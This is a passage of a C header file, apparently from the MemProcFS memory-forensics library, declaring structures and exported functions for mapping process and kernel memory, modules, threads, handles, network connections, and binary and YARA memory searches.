*PVMMDLL_MAP_THREAD; typedef struct tdVMMDLL_MAP_THREAD_CALLSTACK { DWORD dwVersion; // VMMDLL_MAP_THREAD_CALLSTACK_VERSION DWORD _Reserved1[6]; DWORD dwPID; DWORD dwTID; DWORD cbText; union { LPSTR uszText; LPWSTR wszText; }; // U/W dependant PBYTE pbMultiText; // multi-str pointed into by VMM_MAP_EATENTRY.[wszFunction|wszModule] DWORD cbMultiText; DWORD cMap; VMMDLL_MAP_THREAD_CALLSTACKENTRY pMap[0]; } VMMDLL_MAP_THREAD_CALLSTACK, *PVMMDLL_MAP_THREAD_CALLSTACK; typedef struct tdVMMDLL_MAP_HANDLE { DWORD dwVersion; // VMMDLL_MAP_HANDLE_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMMDLL_MAP_HANDLEENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_HANDLEENTRY pMap[]; // map entries. } VMMDLL_MAP_HANDLE, *PVMMDLL_MAP_HANDLE; typedef struct tdVMMDLL_MAP_POOL { DWORD dwVersion; // VMMDLL_MAP_POOL_VERSION DWORD _Reserved1[6]; DWORD cbTotal; // # bytes to represent this pool map object PDWORD piTag2Map; // dword map array (size: cMap): tag index to map index. PVMMDLL_MAP_POOLENTRYTAG pTag; // tag entries. DWORD cTag; // # tag entries. DWORD cMap; // # map entries. VMMDLL_MAP_POOLENTRY pMap[]; // map entries. } VMMDLL_MAP_POOL, *PVMMDLL_MAP_POOL; typedef struct tdVMMDLL_MAP_KOBJECT { DWORD dwVersion; // VMMDLL_MAP_KOBJECT_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_KOBJECTENTRY pMap[]; // map entries. } VMMDLL_MAP_KOBJECT, *PVMMDLL_MAP_KOBJECT; typedef struct tdVMMDLL_MAP_KDRIVER { DWORD dwVersion; // VMMDLL_MAP_KDRIVER_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_KDRIVERENTRY pMap[]; // map entries. } VMMDLL_MAP_KDRIVER, *PVMMDLL_MAP_KDRIVER; typedef struct tdVMMDLL_MAP_KDEVICE { DWORD dwVersion; // VMMDLL_MAP_KDEVICE_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_KDEVICEENTRY pMap[]; // map entries. } VMMDLL_MAP_KDEVICE, *PVMMDLL_MAP_KDEVICE; typedef struct tdVMMDLL_MAP_NET { DWORD dwVersion; // VMMDLL_MAP_NET_VERSION DWORD _Reserved1; PBYTE pbMultiText; // multi-wstr pointed into by VMM_MAP_NETENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_NETENTRY pMap[]; // map entries. } VMMDLL_MAP_NET, *PVMMDLL_MAP_NET; typedef struct tdVMMDLL_MAP_PHYSMEM { DWORD dwVersion; // VMMDLL_MAP_PHYSMEM_VERSION DWORD _Reserved1[5]; DWORD cMap; // # map entries. DWORD _Reserved2; VMMDLL_MAP_PHYSMEMENTRY pMap[]; // map entries. } VMMDLL_MAP_PHYSMEM, *PVMMDLL_MAP_PHYSMEM; typedef struct tdVMMDLL_MAP_USER { DWORD dwVersion; // VMMDLL_MAP_USER_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMMDLL_MAP_USERENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_USERENTRY pMap[]; // map entries. } VMMDLL_MAP_USER, *PVMMDLL_MAP_USER; typedef struct tdVMMDLL_MAP_VM { DWORD dwVersion; // VMMDLL_MAP_VM_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMMDLL_MAP_VMENTRY.wszText DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_VMENTRY pMap[]; // map entries. } VMMDLL_MAP_VM, *PVMMDLL_MAP_VM; typedef struct tdVMMDLL_MAP_SERVICE { DWORD dwVersion; // VMMDLL_MAP_SERVICE_VERSION DWORD _Reserved1[5]; PBYTE pbMultiText; // multi-wstr pointed into by VMMDLL_MAP_SERVICEENTRY.wsz* DWORD cbMultiText; DWORD cMap; // # map entries. VMMDLL_MAP_SERVICEENTRY pMap[]; // map entries. } VMMDLL_MAP_SERVICE, *PVMMDLL_MAP_SERVICE; /* * Retrieve the memory map entries based on hardware page tables (PTEs) for the process. * Entries returned are sorted on VMMDLL_MAP_PTEENTRY.va * CALLER FREE: VMMDLL_MemFree(*ppVadMap) * -- hVMM * -- dwPID * -- fIdentifyModules = try identify modules as well (= slower) * -- ppPteMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetPteU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_PTE *ppPteMap); _Success_(return) BOOL VMMDLL_Map_GetPteW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_PTE *ppPteMap); /* * Retrieve memory map entries based on virtual address descriptor (VAD) for the process. * Entries returned are sorted on VMMDLL_MAP_VADENTRY.vaStart * CALLER FREE: VMMDLL_MemFree(*ppVadMap) * -- hVMM * -- dwPID * -- fIdentifyModules = try identify modules as well (= slower) * -- ppVadMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetVadU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_VAD *ppVadMap); _Success_(return) BOOL VMMDLL_Map_GetVadW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ BOOL fIdentifyModules, _Out_ PVMMDLL_MAP_VAD *ppVadMap); /* * Retrieve extended memory map information about a sub-set of the memory map. * CALLER FREE: VMMDLL_MemFree(*ppVadExMap) * -- hVMM * -- oPage = offset in number of pages from process start. * -- cPage = number of pages to process from oPages base. * -- ppVadExMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetVadEx(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD oPage, _In_ DWORD cPage, _Out_ PVMMDLL_MAP_VADEX *ppVadExMap); /* * Retrieve the modules (.dlls) for the specified process. * CALLER FREE: VMMDLL_MemFree(*ppModuleMap) * -- hVMM * -- dwPID * -- ppModuleMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- flags = optional flags as specified by VMMDLL_MODULE_FLAG_* * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetModuleU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_MODULE *ppModuleMap, _In_ DWORD flags); _Success_(return) BOOL VMMDLL_Map_GetModuleW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_MODULE *ppModuleMap, _In_ DWORD flags); /* * Retrieve a module (.dll) entry given a process and module name. * CALLER FREE: VMMDLL_MemFree(*ppModuleMapEntry) * -- hVMM * -- dwPID * -- [uw]szModuleName = module name (or ""/NULL for 1st module entry). * -- ppModuleMapEntry = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- flags = optional flags as specified by VMMDLL_MODULE_FLAG_* * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetModuleFromNameU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_opt_ LPCSTR uszModuleName, _Out_ PVMMDLL_MAP_MODULEENTRY *ppModuleMapEntry, _In_ DWORD flags); _Success_(return) BOOL VMMDLL_Map_GetModuleFromNameW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_opt_ LPCWSTR wszModuleName, _Out_ PVMMDLL_MAP_MODULEENTRY *ppModuleMapEntry, _In_ DWORD flags); /* * Retrieve the unloaded modules (.dll/.sys) for the specified process. * CALLER FREE: VMMDLL_MemFree(*ppUnloadedModuleMap) * -- hVMM * -- dwPID * -- ppUnloadedModuleMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetUnloadedModuleU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_UNLOADEDMODULE *ppUnloadedModuleMap); _Success_(return) BOOL VMMDLL_Map_GetUnloadedModuleW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_UNLOADEDMODULE *ppUnloadedModuleMap); /* * Retrieve the module exported functions from the export address table (EAT). * CALLER FREE: VMMDLL_MemFree(*ppEatMap) * -- hVMM * -- dwPID * -- [uw]szModuleName * -- ppEatMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetEATU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR uszModuleName, _Out_ PVMMDLL_MAP_EAT *ppEatMap); _Success_(return) BOOL VMMDLL_Map_GetEATW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _Out_ PVMMDLL_MAP_EAT *ppEatMap); /* * Retrieve the module imported functions from the import address table (IAT). * CALLER FREE: VMMDLL_MemFree(*ppIatMap) * -- hVMM * -- dwPID * -- [uw]szModuleName * -- ppIatMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetIATU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCSTR uszModuleName, _Out_ PVMMDLL_MAP_IAT *ppIatMap); _Success_(return) BOOL VMMDLL_Map_GetIATW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ LPCWSTR wszModuleName, _Out_ PVMMDLL_MAP_IAT *ppIatMap); /* * Retrieve the heaps for the specified process. * CALLER FREE: VMMDLL_MemFree(*ppHeapMap) * -- hVMM * -- dwPID * -- ppHeapMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetHeap(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_HEAP *ppHeapMap); /* * Retrieve heap allocations for the specified process heap. * CALLER FREE: VMMDLL_MemFree(*ppHeapAllocMap) * -- hVMM * -- dwPID * -- qwHeapNumOrAddress = number or virtual address of heap to retrieve allocations from. * -- ppHeapAllocMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetHeapAlloc(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ QWORD qwHeapNumOrAddress, _Out_ PVMMDLL_MAP_HEAPALLOC *ppHeapAllocMap); /* * Retrieve the threads for the specified process. * Entries returned are sorted on VMMDLL_MAP_THREADENTRY.dwTID * CALLER FREE: VMMDLL_MemFree(*ppThreadMap) * -- hVMM * -- dwPID * -- ppThreadMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetThread(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_THREAD *ppThreadMap); /* * Retrieve the thread callstack for a specific thread. * Callstack retrieval is: * - supported for x64 user-mode threads. * - a best-effort operation and may not always succeed. * - may download a large amounts of pdb symbol data from Microsoft. * CALLER FREE: VMMDLL_MemFree(*ppThreadCallstack) * -- hVMM * -- dwPID * -- dwTID * -- flags = 0, VMMDLL_FLAG_NOCACHE or VMM_FLAG_FORCECACHE_READ * -- ppThreadCallstack * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetThread_CallstackU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD dwTID, _In_ DWORD flags, _Out_ PVMMDLL_MAP_THREAD_CALLSTACK *ppThreadCallstack); _Success_(return) BOOL VMMDLL_Map_GetThread_CallstackW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ DWORD dwTID, _In_ DWORD flags, _Out_ PVMMDLL_MAP_THREAD_CALLSTACK *ppThreadCallstack); /* * Retrieve the handles for the specified process. * Entries returned are sorted on VMMDLL_MAP_HANDLEENTRY.dwHandle * CALLER FREE: VMMDLL_MemFree(*ppHandleMap) * -- hVMM * -- dwPID * -- ppHandleMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetHandleU(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_HANDLE *ppHandleMap); _Success_(return) BOOL VMMDLL_Map_GetHandleW(_In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Out_ PVMMDLL_MAP_HANDLE *ppHandleMap); /* * Retrieve the physical memory ranges from the operating system physical memory map. * CALLER FREE: VMMDLL_MemFree(*ppPhysMemMap) * -- hVMM * -- ppPhysMemMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree() * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetPhysMem(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_PHYSMEM *ppPhysMemMap); /* * Retrieve the kernel device map - consisting of kernel device objects. * CALLER FREE: VMMDLL_MemFree(*ppKDeviceMap) * -- hVMM * -- ppKDeviceMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetKDeviceU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDEVICE *ppKDeviceMap); _Success_(return) BOOL VMMDLL_Map_GetKDeviceW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDEVICE *ppKDeviceMap); /* * Retrieve the kernel driver map - consisting of kernel driver objects. * CALLER FREE: VMMDLL_MemFree(*ppKDriverMap) * -- hVMM * -- ppKDriverMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetKDriverU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDRIVER *ppKDriverMap); _Success_(return) BOOL VMMDLL_Map_GetKDriverW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KDRIVER *ppKDriverMap); /* * Retrieve the kernel object map - consisting of kernel objects such as devices, drivers and other objects. * CALLER FREE: VMMDLL_MemFree(*ppKObjectMap) * -- hVMM * -- ppKObjectMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetKObjectU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KOBJECT *ppKObjectMap); _Success_(return) BOOL VMMDLL_Map_GetKObjectW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_KOBJECT *ppKObjectMap); /* * Retrieve the pool map - consisting of kernel allocated pool entries. * The pool map pMap is sorted by allocation virtual address. * The pool map pTag is sorted by pool tag. * NB! The pool map may contain both false negatives/positives. * NB! The pool map relies on debug symbols. Please ensure supporting files * symsrv.dll, dbghelp.dll and info.db (found in the binary distribution) * is put alongside vmm.dll. (On Linux the .dll files aren't necessary). * CALLER FREE: VMMDLL_MemFree(*ppPoolMap) * -- hVMM * -- ppPoolMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- flags = VMMDLL_POOLMAP_FLAG* * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetPool(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_POOL *ppPoolMap, _In_ DWORD flags); /* * Retrieve the network connection map - consisting of active network connections, * listening sockets and other networking functionality. * CALLER FREE: VMMDLL_MemFree(*ppNetMap) * -- hVMM * -- ppNetMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetNetU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_NET *ppNetMap); _Success_(return) BOOL VMMDLL_Map_GetNetW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_NET *ppNetMap); /* * Retrieve the non well known users that are detected in the target system. * NB! There may be more users in the system than the ones that are detected, * only users with mounted registry hives may currently be detected - this is * the normal behaviour for users with active processes. * CALLER FREE: VMMDLL_MemFree(*ppUserMap) * -- hVMM * -- ppUserMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetUsersU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_USER *ppUserMap); _Success_(return) BOOL VMMDLL_Map_GetUsersW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_USER *ppUserMap); /* * Retrieve a map of detected child virtual machines (VMs). * NB! May fail if called shortly after vmm init unless option: -waitinitialize * CALLER FREE: VMMDLL_MemFree(*ppVmMap) * -- hVMM * -- ppVmMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetVMU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_VM *ppVmMap); _Success_(return) BOOL VMMDLL_Map_GetVMW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_VM *ppVmMap); /* * Retrieve the services currently known by the service control manager (SCM). * CALLER FREE: VMMDLL_MemFree(*ppServiceMap) * -- hVMM * -- ppServiceMap = ptr to receive result on success. must be free'd with VMMDLL_MemFree(). * -- return = success/fail. */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_Map_GetServicesU(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_SERVICE *ppServiceMap); _Success_(return) BOOL VMMDLL_Map_GetServicesW(_In_ VMM_HANDLE hVMM, _Out_ PVMMDLL_MAP_SERVICE *ppServiceMap); //----------------------------------------------------------------------------- // MEMORY SEARCH FUNCTIONALITY: //----------------------------------------------------------------------------- #define VMMDLL_MEM_SEARCH_VERSION 0xfe3e0003 #define VMMDLL_MEM_SEARCH_MAXLENGTH 32 typedef struct tdVMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY { DWORD cbAlign; // byte-align at 2^x - 0, 1, 2, 4, 8, 16, .. bytes. DWORD cb; // number of bytes to search (1-32). BYTE pb[VMMDLL_MEM_SEARCH_MAXLENGTH]; BYTE pbSkipMask[VMMDLL_MEM_SEARCH_MAXLENGTH]; // skip bitmask '0' = match, '1' = wildcard. } VMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY, *PVMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY; /* * Context to populate and use in the VMMDLL_MemSearch() function. */ typedef struct tdVMMDLL_MEM_SEARCH_CONTEXT { DWORD dwVersion; DWORD _Filler[2]; BOOL fAbortRequested; // may be set by caller to abort processing prematurely. DWORD cMaxResult; // # max result entries. '0' = 1 entry. max 0x10000 entries. DWORD cSearch; // number of search entries. PVMMDLL_MEM_SEARCH_CONTEXT_SEARCHENTRY pSearch; // pointer to an array of cSearch entries. QWORD vaMin; // min address to search (page-aligned). QWORD vaMax; // max address to search (page-aligned), if 0 max memory is assumed. QWORD vaCurrent; // current address (may be read by caller). DWORD _Filler2; DWORD cResult; // number of search hits. QWORD cbReadTotal; // total number of bytes read. PVOID pvUserPtrOpt; // optional pointer set by caller (used for context passing to callbacks) // optional result callback function. // use of callback function disable ordinary result in ppObAddressResult. // return = continue search(TRUE), abort search(FALSE). BOOL(*pfnResultOptCB)(_In_ struct tdVMMDLL_MEM_SEARCH_CONTEXT *ctx, _In_ QWORD va, _In_ DWORD iSearch); // non-recommended features: QWORD ReadFlags; // read flags as in VMMDLL_FLAG_* BOOL fForcePTE; // force PTE method for virtual address reads. BOOL fForceVAD; // force VAD method for virtual address reads. // optional filter callback function for virtual address reads: // for ranges inbetween vaMin:vaMax callback with pte or vad entry. // return: read from range(TRUE), do not read from range(FALSE). BOOL(*pfnFilterOptCB)(_In_ struct tdVMMDLL_MEM_SEARCH_CONTEXT *ctx, _In_opt_ PVMMDLL_MAP_PTEENTRY pePte, _In_opt_ PVMMDLL_MAP_VADENTRY peVad); } VMMDLL_MEM_SEARCH_CONTEXT, *PVMMDLL_MEM_SEARCH_CONTEXT; /* * Search for binary data in an address space specified by the supplied context. * For more information about the different search parameters please see the * struct definition: VMMDLL_MEM_SEARCH_CONTEXT * Search may take a long time. It's not recommended to run this interactively. * To cancel a search prematurely set the fAbortRequested flag in the context * and wait a short while. * CALLER FREE: VMMDLL_MemFree(*ppva) * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to read physical memory. * -- ctx * -- ppva = pointer to receive addresses found. Free'd with VMMDLL_MemFree(). * -- pcva = pointer to receive number of addresses in ppva. not bytes! * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_MemSearch( _In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _Inout_ PVMMDLL_MEM_SEARCH_CONTEXT ctx, _Out_opt_ PQWORD *ppva, _Out_opt_ PDWORD pcva ); //----------------------------------------------------------------------------- // MEMORY YARA SEARCH FUNCTIONALITY: // The yara search functionality requires that vmmyara.[dll|so] is present. // The vmmyara project is found at: https://github.com/ufrisk/vmmyara //----------------------------------------------------------------------------- // =========== START SHARED STRUCTS WITH =========== #ifndef VMMYARA_RULE_MATCH_DEFINED #define VMMYARA_RULE_MATCH_DEFINED #define VMMYARA_RULE_MATCH_VERSION 0xfedc0005 #define VMMYARA_RULE_MATCH_TAG_MAX 27 #define VMMYARA_RULE_MATCH_META_MAX 32 #define VMMYARA_RULE_MATCH_STRING_MAX 16 #define VMMYARA_RULE_MATCH_OFFSET_MAX 24 /* * Struct with match information upon a match in VmmYara_RulesScanMemory(). */ typedef struct tdVMMYARA_RULE_MATCH { DWORD dwVersion; // VMMYARA_RULE_MATCH_VERSION DWORD flags; LPSTR szRuleIdentifier; DWORD cTags; LPSTR szTags[VMMYARA_RULE_MATCH_TAG_MAX]; DWORD cMeta; struct { LPSTR szIdentifier; LPSTR szString; } Meta[VMMYARA_RULE_MATCH_META_MAX]; DWORD cStrings; struct { LPSTR szString; DWORD cMatch; SIZE_T cbMatchOffset[VMMYARA_RULE_MATCH_OFFSET_MAX]; } Strings[VMMYARA_RULE_MATCH_STRING_MAX]; } VMMYARA_RULE_MATCH, *PVMMYARA_RULE_MATCH; #endif /* VMMYARA_RULE_MATCH_DEFINED */ #ifndef VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED #define VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED /* * Callback function to be called by VmmYara_RulesScanMemory() upon a match. * -- pvContext = user context set in call to VmmYara_ScanMemory(). * -- pRuleMatch = pointer to match information. * -- pbBuffer = the memory buffer that was scanned. * -- cbBuffer = the size of the memory buffer that was scanned. * -- return = return TRUE to continue scanning, FALSE to stop scanning. */ typedef BOOL(*VMMYARA_SCAN_MEMORY_CALLBACK)( _In_ PVOID pvContext, _In_ PVMMYARA_RULE_MATCH pRuleMatch, _In_reads_bytes_(cbBuffer) PBYTE pbBuffer, _In_ SIZE_T cbBuffer ); #endif /* VMMYARA_SCAN_MEMORY_CALLBACK_DEFINED */ // =========== END SHARED STRUCTS WITH =========== #define VMMDLL_YARA_CONFIG_VERSION 0xdec30001 #define VMMDLL_YARA_MEMORY_CALLBACK_CONTEXT_VERSION 0xdec40002 #define VMMDLL_YARA_CONFIG_MAX_RESULT 0x00010000 // max 65k results. typedef struct tdVMMDLL_YARA_CONFIG *PVMMDLL_YARA_CONFIG; // forward declaration. /* * Callback function to tell whether a section of memory should be scanned or not. * -- ctx = pointer to PVMMDLL_YARA_CONFIG context. * -- pePte = pointer to PTE entry if the memory region is backed by PTE map. Otherwise NULL. * -- peVad = pointer to VAD entry if the memory region is backed by VAD map. Otherwise NULL. * -- return = return TRUE to scan the memory region, FALSE to skip it. */ typedef BOOL(*VMMYARA_SCAN_FILTER_CALLBACK)( _In_ PVMMDLL_YARA_CONFIG ctx, _In_opt_ PVMMDLL_MAP_PTEENTRY pePte, _In_opt_ PVMMDLL_MAP_VADENTRY peVad ); /* * Yara search configuration struct. */ typedef struct tdVMMDLL_YARA_CONFIG { DWORD dwVersion; // VMMDLL_YARA_CONFIG_VERSION DWORD _Filler[2]; BOOL fAbortRequested; // may be set by caller to abort processing prematurely. DWORD cMaxResult; // # max result entries. max 0x10000 entries. 0 = max entries. DWORD cRules; // number of rules to use - if compiled rules only 1 is allowed. LPSTR *pszRules; // array of rules to use - either filenames or in-memory rules. QWORD vaMin; QWORD vaMax; QWORD vaCurrent; // current address (may be read by caller). DWORD _Filler2; DWORD cResult; // number of search hits. QWORD cbReadTotal; // total number of bytes read. PVOID pvUserPtrOpt; // optional pointer set by caller (used for context passing to callbacks) // match callback function (recommended but optional). // return = continue search(TRUE), abort search(FALSE). VMMYARA_SCAN_MEMORY_CALLBACK pfnScanMemoryCB; // non-recommended features: QWORD ReadFlags; // read flags as in VMMDLL_FLAG_* BOOL fForcePTE; // force PTE method for virtual address reads. BOOL fForceVAD; // force VAD method for virtual address reads. // optional filter callback function for virtual address reads: // for ranges inbetween vaMin:vaMax callback with pte or vad entry. // return: read from range(TRUE), do not read from range(FALSE). VMMYARA_SCAN_FILTER_CALLBACK pfnFilterOptCB; PVOID pvUserPtrOpt2; // optional pointer set by caller (not used by MemProcFS). QWORD _Reserved; } VMMDLL_YARA_CONFIG, *PVMMDLL_YARA_CONFIG; /* * Yara search callback struct which created by MemProcFS internally and is * passed to the callback function supplied by the caller in VMMDLL_YaraSearch(). */ typedef struct tdVMMDLL_YARA_MEMORY_CALLBACK_CONTEXT { DWORD dwVersion; DWORD dwPID; PVOID pUserContext; QWORD vaObject; QWORD va; PBYTE pb; DWORD cb; LPSTR uszTag[1]; // min 1 char (but may be more). } VMMDLL_YARA_MEMORY_CALLBACK_CONTEXT, *PVMMDLL_YARA_MEMORY_CALLBACK_CONTEXT; /* * Perform a yara search in the address space of a process. * NB! it may take a long time for this function to return. * -- hVMM * -- dwPID - PID of target process, (DWORD)-1 to read physical memory. * -- pYaraConfig * -- ppva = pointer to receive addresses found. Free'd with VMMDLL_MemFree(). * -- pcva = pointer to receive number of addresses in ppva. not bytes! * -- return */ EXPORTED_FUNCTION _Success_(return) BOOL VMMDLL_YaraSearch( _In_ VMM_HANDLE hVMM, _In_ DWORD dwPID, _In_ PVMMDLL_YARA_CONFIG pYaraConfig, _Out_opt_ PQWORD *ppva, _Out_opt_ PDWORD pcva ); //----------------------------------------------------------------------------- // WINDOWS SPECIFIC PAGE FRAME NUMBER (PFN) FUNCTIONALITY BELOW //----------------------------------------------------------------------------- #define VMMDLL_MAP_PFN_VERSION 1 #define VMMDLL_PFN_FLAG_NORMAL 0 #define VMMDLL_PFN_FLAG_EXTENDED 1 static LPCSTR VMMDLL_PFN_TYPE_TEXT[] = { "Zero", "Free", "Standby", "Modifiy", "ModNoWr", "Bad", "Active", "Transit" }; static LPCSTR VMMDLL_PFN_TYPEEXTENDED_TEXT[] = { "-", "Unused", "ProcPriv", "PageTable", "LargePage", "DriverLock", "Shareable", "File" }; typedef enum tdVMMDLL_MAP_PFN_TYPE { VmmDll_PfnTypeZero = 0, VmmDll_PfnTypeFree = 1, VmmDll_PfnTypeStandby = 2, VmmDll_PfnTypeModified = 3, VmmDll_PfnTypeModifiedNoWrite = 4, VmmDll_PfnTypeBad = 5, VmmDll_PfnTypeActive = 6, VmmDll_PfnTypeTransition = 7 } VMMDLL_MAP_PFN_TYPE; typedef enum tdVMMDLL_MAP_PFN_TYPEEXTENDED { VmmDll_PfnExType_Unknown = 0, VmmDll_PfnExType_Unused = 1, VmmDll_PfnExType_ProcessPrivate = 2, VmmDll_PfnExType_PageTable = 3, VmmDll_PfnExType_LargePage = 4, VmmDll_PfnExType_DriverLocked = 5, VmmDll_PfnExType_Shareable = 6, VmmDll_PfnExType_File = 7, } VMMDLL_MAP_PFN_TYPEEXTENDED; typedef struct tdVMMDLL_MAP_PFNENTRY { DWORD dwPfn; VMMDLL_MAP_PFN_TYPEEXTENDED tpExtended; struct { // Only valid if active non-prototype PFN union { DWORD dwPid; DWORD dwPfnPte[5]; // PFN of paging levels 1-4 (x64) }; QWORD va; // valid if non-zero } AddressInfo; QWORD vaPte; QWORD OriginalPte; union { DWORD _u3; struct { WORD ReferenceCount; // MMPFNENTRY BYTE PageLocation : 3; // Pos 0 - VMMDLL_MAP_PFN_TYPE BYTE WriteInProgress : 1; // Pos 3 BYTE Modified : 1; // Pos 4 BYTE ReadInProgress : 1; // Pos 5 BYTE CacheAttribute : 2; // Pos 6 BYTE Priority : 